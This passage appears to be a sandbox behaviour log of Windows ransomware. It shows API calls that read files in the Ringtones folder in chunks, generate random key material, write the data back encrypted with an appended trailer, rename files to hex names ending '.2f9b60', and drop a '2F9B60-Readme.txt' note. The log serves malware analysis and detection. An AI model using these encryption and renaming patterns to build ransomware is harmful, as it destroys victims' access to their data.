dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0190.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0190.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431382c0 [0190.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431382c0) returned 1 [0190.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4261f1d0 [0190.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431382c0 [0190.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431382f0 [0190.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431382f0) returned 1 [0190.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0190.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0190.227] WriteFile (in: hFile=0x2848, lpBuffer=0x4261f1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x4261f1d0*, lpNumberOfBytesWritten=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0204.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4261f1d0) returned 1 [0204.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ef70 [0204.782] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.746] WriteFile (in: hFile=0x2848, lpBuffer=0x431f50c0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3b8afe10, lpOverlapped=0x0 | out: lpBuffer=0x431f50c0*, lpNumberOfBytesWritten=0x3b8afe10*=0x150, lpOverlapped=0x0) returned 1 [0208.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb8d0 [0208.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb8d0) returned 1 [0208.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cddb8d0 [0208.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb8a0 [0208.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb7e0 [0208.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb7e0) returned 1 [0208.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61650 [0208.993] sprintf (in: _Dest=0x1ce61650, _Format="%c%c" | out: _Dest="dc") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61652, _Format="%c%c" | out: _Dest="13") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61654, _Format="%c%c" | out: _Dest="88") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61656, _Format="%c%c" | out: _Dest="79") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61658, _Format="%c%c" | out: _Dest="00") returned 2 [0208.993] sprintf (in: _Dest=0x1ce6165a, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.993] sprintf (in: _Dest=0x1ce6165c, _Format="%c%c" | out: _Dest="de") returned 2 [0208.993] sprintf (in: _Dest=0x1ce6165e, _Format="%c%c" | out: _Dest="50") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61660, _Format="%c%c" | out: _Dest="93") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61662, _Format="%c%c" | out: _Dest="12") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61664, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61666, _Format="%c%c" | out: _Dest="95") returned 2 [0208.993] sprintf (in: _Dest=0x1ce61668, _Format="%c%c" | out: _Dest="14") returned 2 [0208.993] sprintf (in: _Dest=0x1ce6166a, _Format="%c%c" | out: _Dest="89") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6166c, _Format="%c%c" | out: _Dest="89") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6166e, _Format="%c%c" | out: _Dest="44") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61670, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61672, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61674, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61676, _Format="%c%c" | out: _Dest="59") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61678, _Format="%c%c" | out: _Dest="20") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6167a, _Format="%c%c" | out: _Dest="73") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6167c, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6167e, _Format="%c%c" | out: _Dest="71") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61680, _Format="%c%c" | out: _Dest="bd") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61682, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61684, _Format="%c%c" | out: _Dest="be") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61686, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.994] sprintf (in: _Dest=0x1ce61688, _Format="%c%c" | out: _Dest="e3") returned 2 [0208.994] sprintf (in: _Dest=0x1ce6168a, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.994] RtlInitAnsiString (in: DestinationString=0x3b8afe88, SourceString="dc13887900b6de509312b89514898944c40dcb5920732e71bd6ebee4e39d" | out: DestinationString="dc13887900b6de509312b89514898944c40dcb5920732e71bd6ebee4e39d") [0208.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b8afe58, SourceString="dc13887900b6de509312b89514898944c40dcb5920732e71bd6ebee4e39d", AllocateDestinationString=1 | out: DestinationString="dc13887900b6de509312b89514898944c40dcb5920732e71bd6ebee4e39d") returned 0x0 [0208.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a1bf0 [0208.995] wcscat (in: _Dest=0x431a1b60, _Source="dc13887900b6de5" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5" [0208.995] wcscat (in: _Dest=0x431a1b60, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5.2f9b60" [0208.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5.2f9b60", NtPathName=0x3b8afe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dc13887900b6de5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431eba60 [0216.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eba60) returned 1 [0216.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430abbe0) returned 1 [0216.280] NtQueryInformationFile (in: FileHandle=0x2848, IoStatusBlock=0x3b8afe98, FileInformation=0x3b8afea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b8afe98, FileInformation=0x3b8afea8) returned 0x0 [0216.280] NtSetInformationFile (FileHandle=0x2848, IoStatusBlock=0x3b8afe98, FileInformation=0x3b8afea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1b60) returned 1 [0219.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1bf0) returned 1 [0219.811] FlushFileBuffers (hFile=0x2848) returned 1 [0221.387] CloseHandle (hObject=0x2848) returned 1 [0222.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5d60 [0222.998] wcscpy (in: _Dest=0x202a5d60, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0222.998] wcscat (in: _Dest=0x202a5d60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0222.998] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0xffffffff [0222.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xde0 [0224.202] WriteFile (in: hFile=0xde0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3b8afd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3b8afd50*=0xba9, lpOverlapped=0x0) returned 1 [0225.603] CloseHandle (hObject=0xde0) returned 1 [0226.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5d60) returned 1 [0226.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 Thread: id = 2691 os_tid = 0x2278 [0157.723] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma")) returned 0x20 [0159.556] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma", dwFileAttributes=0x20) returned 1 [0159.622] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x284c [0159.630] GetFileSizeEx (in: hFile=0x284c, lpFileSize=0x2e0afb80 | out: lpFileSize=0x2e0afb80*=139199) returned 1 [0159.630] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x21fbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.630] ReadFile (in: hFile=0x284c, lpBuffer=0x2e0afb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e0afb48, lpOverlapped=0x0 | out: lpBuffer=0x2e0afb00*, lpNumberOfBytesRead=0x2e0afb48*=0x4, lpOverlapped=0x0) returned 1 [0160.013] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a70 [0160.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b00 [0160.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b30 [0160.015] NtQuerySystemTime (in: CurrentTime=0x2e0afa40 | out: CurrentTime=0x2e0afa40*=132462177651490000) returned 0x0 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x39e7859f [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x2bfa40d9 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x44b81309 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x319eb704 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x6ce4408d [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x62ceb45c [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x4df1fa1f [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x4fc698b [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x522139e6 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x55f413a5 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x593a3fac [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x3ce35cf [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x2a944d25 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0xba25e68 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x34ab57d9 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x19a197cb [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x69e887b7 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x397f7fb9 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x2a73bacc [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x4b4bd070 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x1929324 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x31b9fb71 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x70a269c [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x720d4be3 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0xee49061 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x4e4f0df0 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x1fe2d547 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x363521f0 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x21d45ca4 [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x4aac3fae [0160.015] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x711bf627 [0160.016] RtlRandomEx (in: Seed=0x2e0afa30 | out: Seed=0x2e0afa30) returned 0x768c7a04 [0160.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b60 [0160.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0160.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b90 [0160.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0160.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0b30) returned 1 [0160.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e100b0 [0160.024] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.024] ReadFile (in: hFile=0x284c, lpBuffer=0x41e100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e0afaa0, lpOverlapped=0x0 | out: lpBuffer=0x41e100b0*, lpNumberOfBytesRead=0x2e0afaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.010] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0161.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0161.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f90 [0161.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2f90) returned 1 [0161.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e1f0f0 [0161.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f90 [0161.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2fc0 [0161.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2fc0) returned 1 [0161.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0161.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0161.012] WriteFile (hFile=0x284c, lpBuffer=0x41e1f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e0afaa0, lpOverlapped=0x0) [0198.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1f0f0) returned 1 [0198.069] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.069] ReadFile (in: hFile=0x284c, lpBuffer=0x41e100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e0afaa0, lpOverlapped=0x0 | out: lpBuffer=0x41e100b0*, lpNumberOfBytesRead=0x2e0afaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.991] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bd70 [0198.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bd70) returned 1 [0198.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022a520 [0198.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bd70 [0198.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bda0 [0198.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bda0) returned 1 [0198.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.994] WriteFile (in: hFile=0x284c, lpBuffer=0x2022a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e0afaa0, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesWritten=0x2e0afaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022a520) returned 1 [0214.090] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x1e3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.090] ReadFile (in: hFile=0x284c, lpBuffer=0x41e100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e0afaa0, lpOverlapped=0x0 | out: lpBuffer=0x41e100b0*, lpNumberOfBytesRead=0x2e0afaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.091] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x1e3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2300 [0214.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2300) returned 1 [0214.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022a520 [0214.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2300 [0214.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0214.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0214.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.095] WriteFile (in: hFile=0x284c, lpBuffer=0x2022a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e0afaa0, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesWritten=0x2e0afaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022a520) returned 1 [0228.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105c90 [0228.022] SetFilePointerEx (in: hFile=0x284c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.022] WriteFile (in: hFile=0x284c, lpBuffer=0x134aa0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2e0afb50, lpOverlapped=0x0 | out: lpBuffer=0x134aa0*, lpNumberOfBytesWritten=0x2e0afb50*=0x150, lpOverlapped=0x0) returned 1 [0232.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0232.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504590 [0232.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6aa0 [0232.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6aa0) returned 1 [0232.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a6aa0 [0232.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4070 [0232.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2900 [0232.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2900) returned 1 [0232.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504590) returned 1 [0232.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0232.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61a60 [0232.668] sprintf (in: _Dest=0x1ce61a60, _Format="%c%c" | out: _Dest="e6") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a62, _Format="%c%c" | out: _Dest="82") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a64, _Format="%c%c" | out: _Dest="99") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a66, _Format="%c%c" | out: _Dest="1a") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a68, _Format="%c%c" | out: _Dest="20") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a6a, _Format="%c%c" | out: _Dest="97") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a6c, _Format="%c%c" | out: _Dest="ff") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a6e, _Format="%c%c" | out: _Dest="85") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a70, _Format="%c%c" | out: _Dest="05") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a72, _Format="%c%c" | out: _Dest="13") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a74, _Format="%c%c" | out: _Dest="2b") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a76, _Format="%c%c" | out: _Dest="0c") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a78, _Format="%c%c" | out: _Dest="f6") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a7a, _Format="%c%c" | out: _Dest="ac") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a7c, _Format="%c%c" | out: _Dest="61") returned 2 [0232.668] sprintf (in: _Dest=0x1ce61a7e, _Format="%c%c" | out: _Dest="8a") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a80, _Format="%c%c" | out: _Dest="d3") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a82, _Format="%c%c" | out: _Dest="da") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a84, _Format="%c%c" | out: _Dest="e3") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a86, _Format="%c%c" | out: _Dest="eb") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a88, _Format="%c%c" | out: _Dest="0a") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a8a, _Format="%c%c" | out: _Dest="e1") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a8c, _Format="%c%c" | out: _Dest="7e") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a8e, _Format="%c%c" | out: _Dest="c9") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a90, _Format="%c%c" | out: _Dest="62") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a92, _Format="%c%c" | out: _Dest="3c") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a94, _Format="%c%c" | out: _Dest="9b") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a96, _Format="%c%c" | out: _Dest="8f") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a98, _Format="%c%c" | out: _Dest="ce") returned 2 [0232.669] sprintf (in: _Dest=0x1ce61a9a, _Format="%c%c" | out: _Dest="87") returned 2 [0232.669] RtlInitAnsiString (in: DestinationString=0x2e0afbc8, SourceString="e682991a2097ff8505132b0cf6ac618ad3dae3eb0ae17ec9623c9b8fce87" | out: DestinationString="e682991a2097ff8505132b0cf6ac618ad3dae3eb0ae17ec9623c9b8fce87") [0232.669] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e0afb98, SourceString="e682991a2097ff8505132b0cf6ac618ad3dae3eb0ae17ec9623c9b8fce87", AllocateDestinationString=1 | out: DestinationString="e682991a2097ff8505132b0cf6ac618ad3dae3eb0ae17ec9623c9b8fce87") returned 0x0 [0232.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d8840 [0232.670] wcscat (in: _Dest=0x431d9bf0, 